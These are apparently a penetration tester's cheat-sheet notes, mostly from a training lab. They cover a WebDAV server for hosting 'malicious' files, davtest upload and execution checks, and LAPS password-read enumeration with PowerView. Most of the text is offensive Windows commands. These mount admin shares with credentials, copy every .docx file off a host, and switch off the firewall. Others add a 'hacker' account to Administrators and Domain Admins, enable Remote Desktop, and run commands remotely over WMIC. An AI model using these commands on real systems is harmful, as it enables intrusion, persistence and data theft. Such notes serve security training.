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| https://www.trustedsec.com/2018/06/how-to-set-up-a-quick-simple-webdav-server-for-remote-file-sharing/ | |
| Set Up WebDav server to host malicious or fun....files | |
| pip install wsgidav | |
| pip install cheroot | |
| $ sudo apt-get update | |
| $ sudo apt-get install software-properties-common | |
| $ sudo add-apt-repository ppa:certbot/certbot | |
| $ sudo apt-get update | |
| $ sudo apt-get install certbot | |
| $ mkdir -p /tmp/webdav/share | |
| certbot certonly --webroot -w /tmp/webdav/share -d carrot.ignorelist.com | |
| Add The following to your webdav.conf file | |
| ssl_certificate = "/etc/letsencrypt/live/carrot.ignorelist.com/cert.pem" | |
| ssl_certificate_chain = "/etc/letsencrypt/live/carrot.ignorelist.com/fullchain.pem" | |
| ssl_private_key = "/etc/letsencrypt/live/carrot.ignorelist.com/privkey.pem" | |
| Run | |
| wsgidav --host=0.0.0.0 --port=443 --config webdav.conf --root ./share/ | |
| root@kali:~# davtest -url http://10.11.1.14 | |
| ******************************************************** | |
| Testing DAV connection | |
| OPEN SUCCEED: http://10.11.1.14 | |
| ******************************************************** | |
| NOTE Random string for this session: pIzR5HdI | |
| ******************************************************** | |
| Creating directory | |
| MKCOL SUCCEED: Created http://10.11.1.14/DavTestDir_pIzR5HdI | |
| ******************************************************** | |
| Sending test files | |
| PUT html SUCCEED: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.html | |
| PUT cgi FAIL | |
| PUT cfm SUCCEED: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.cfm | |
| PUT aspx SUCCEED: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.aspx | |
| PUT asp FAIL | |
| PUT txt SUCCEED: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.txt | |
| PUT shtml FAIL | |
| PUT jhtml SUCCEED: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.jhtml | |
| PUT jsp SUCCEED: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.jsp | |
| PUT php SUCCEED: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.php | |
| PUT pl SUCCEED: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.pl | |
| ******************************************************** | |
| Checking for test file execution | |
| EXEC html SUCCEED: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.html | |
| EXEC cfm FAIL | |
| EXEC aspx FAIL | |
| EXEC txt SUCCEED: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.txt | |
| EXEC jhtml FAIL | |
| EXEC jsp FAIL | |
| EXEC php FAIL | |
| EXEC pl FAIL | |
| ******************************************************** | |
| /usr/bin/davtest Summary: | |
| Created: http://10.11.1.14/DavTestDir_pIzR5HdI | |
| PUT File: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.html | |
| PUT File: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.cfm | |
| PUT File: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.aspx | |
| PUT File: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.txt | |
| PUT File: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.jhtml | |
| PUT File: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.jsp | |
| PUT File: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.php | |
| PUT File: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.pl | |
| Executes: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.html | |
| Executes: http://10.11.1.14/DavTestDir_pIzR5HdI/davtest_pIzR5HdI.txt | |
| ------------------------------------- | |
| Another tool is cadaver | |
| root@kali:~# cadaver http://10.11.1.229 <----this will connect you to the webdav site itself. | |
| Available commands: | |
| ls cd pwd put get mget mput | |
| edit less mkcol cat delete rmcol copy | |
| move lock unlock discover steal showlocks version | |
| checkin checkout uncheckout history label propnames chexec | |
| propget propdel propset search set open close | |
| echo quit unset lcd lls lpwd logout | |
| help describe about |
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| Connect to shares | |
| This will attempt to connect to a share and see what is on it. | |
| net use K: \\<IP address\share IE C or Admin> | |
| net use K: \\192.168.31.53\C <--this will connect to the K drive | |
| net use K: \\192.168.31.53\C$ /user:george P@$$Word34 | |
| Find files | |
| dir c: /b /s .docx | findstr /e .docx | |
| for /R c: %f in (*.docx) do copy %f c:\temp\ | |
| 1.To Turn Off: | |
| 2.NetSh Advfirewall set allprofiles state off | |
| 3.To Turn On: | |
| 4.NetSh Advfirewall set allrprofiles state on | |
| 5.To check the status of Windows Firewall: | |
| 6.Netsh Advfirewall show allprofiles | |
| net group "Domain Admins" uatoperator /add /domain | |
| net user /add hacker HELL0$ir11 | |
| ^^^ Add user to computer | |
| net localgroup Administrators hacker /add | |
| ^^^^^ Add the user "hacker to admin group" | |
| reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f | |
| ^^^^^enables Remote Desktop | |
| from windows, type -- **nbtstat -a | |
| if you then see something like ELS-WINXP <20> Unique Registered -- then there is a server or share :) | |
| ================ | |
| from windows, type net view <IPaddress> ** this should list the shares, domains, and resources on the target | |
| ================== | |
| ================== | |
| Do the following from a command prompt to see who you are | |
| echo %username% | |
| echo %userdomain% | |
| whoami | |
| ==================== | |
| sc query ----- list all services :) | |
| ********************* | |
| Once we have AccessChk downloaded on our target machine, GREED, we can run the following command to determine which Services can be modified by any authenticated user (regardless of privilege level): | |
| accesschk.exe -uwcqv "Authenticated Users" * /accepteula | |
| *********************** | |
| privesc.bat Everyone Users "Authenticated Users" <---this is for the privilege escalation batch file :) | |
| ------------------- | |
| ping sweep | |
| for /l %i in(1,1,254) do ping -n 1 -w 100 10.11.1.0%i | |
| ============================== | |
| unquoted service paths | |
| wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ | |
| ------------ | |
| wmic to get a full listing of the running processes: | |
| wmic process list full | |
| wmic print to a HTML formatted list of processes: | |
| wmic /output:wmic.html process list full /format:hform | |
| wmic query running services: | |
| sc query type= service | |
| wmic startup programs: | |
| wmic startup list brief | |
| wmic remote command execution: | |
| wmic /node:10.0.0.1 /user:Administrator process call create "cmd.exe /c calc.exe" | |
| Format WMIC Queries as html | |
| wmic process list full > output.html | |
| netsh IPv4 to IPv6 port conversion for a remote computer: | |
| netsh interface portproxy add v4tov6 listenport=8888 listenaddress=0.0.0.0 connectport=80 connectaddress=2000::1:215:5dff:fe01:247 | |
| netsh IPv4 port to another IPv4 port on the same host: | |
| netsh interface portproxy add v4tov4 listenport=9999 listenaddress=0.0.0.0 connectport=445 connectaddress=192.168.1.112 | |
| netsh ipconfig: | |
| netsh interface ipv4 show addresses | |
| Anywhere with IP reachability to target machine: | |
| netsh -r 192.168.1.103 -u entsim\administrator -p P@ssw0rd! |
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| https://rastamouse.me/2018/03/laps---part-1/ | |
| https://rastamouse.me/2018/03/laps-part-2/ | |
| https://www.harmj0y.net/blog/powershell/running-laps-with-powerview/ | |
| https://akijosberryblog.wordpress.com/2019/01/01/malicious-use-of-microsoft-laps/ | |
| Any Host with laps installed will have the following file | |
| AdmPwd.dll | |
| Find the AdmPwd.dll with powershell | |
| gdr -PSProvider 'FileSystem' | %{ls -r $_.root} 2>$null | where { $_.name -eq "AdmPwd.dll"} -verbose | |
| Get-ChildItem ‘c:\program files\LAPS\CSE\Admpwd.dll’ | |
| With PowerView, search for any GPO that has LAPS in the display name (Master Branch) | |
| Get-DomainGPO -Identity "*LAPS*" | |
| Within PowerView, see who has read access to ms-Mcs-AdmPwd (LAPS) | |
| Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs | | |
| Where-Object { | |
| ($_.ObjectType -like 'ms-Mcs-AdmPwd') -and | |
| ($_.ActiveDirectoryRights -match 'ReadProperty') | |
| } | |
| Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs | Where-Object { ($_.ObjectType -like 'ms-Mcs-AdmPwd') -and ($_.ActiveDirectoryRights -match 'ReadProperty') } | |
| View LAPS configuration | |
| https://github.com/PowerShell/GPRegistryPolicyParser | |
| Parse-PolFile "\\IT.GCB.LOCAL\SysVol\IT.GCB.LOCAL\Policies\{C3801BA8-56D9-4F54-B2BD-FE3BF1A71BAA}\Machine\Registry.pol | |
| Find who has extended rights over computers/servers/workstations | |
| *****This will give us a list, such as AppServers, Domain Controllers, etc. | |
| Find-AdmPwdExtendedRights -Identity "*" | fl | |
| Now we can use that list to find what we want to enumerate e.g., | |
| Find-AdmPwdExtendedRights -Identity "Domain Controllers" | fl | |
| Using PowerView, Get a list of all Object ACLs for OUs of interest (and resolve GUIDs to their display names) | |
| Filter on ActiveDirectory Rights for ReadProperty | |
| Filter on ObjectAceType for ms-Mcs-AdmPwd | |
| Get-DomainObjectAcl -SearchBase "LDAP://OU=Workstations,DC=testlab,DC=local" -ResolveGUIDs | Where-Object { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.A | |
| ctiveDirectoryRights -like "*ReadProperty*" } | Select-Object ObjectDN, SecurityIdentifier | |
| Get-DomainObjectAcl -SearchBase "LDAP://OU=Workstations,DC=testlab,DC=local" -ResolveGUIDs | Where Object { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -like "*ReadProperty*" } | Select-Object ObjectDN, SecurityIdentifier |
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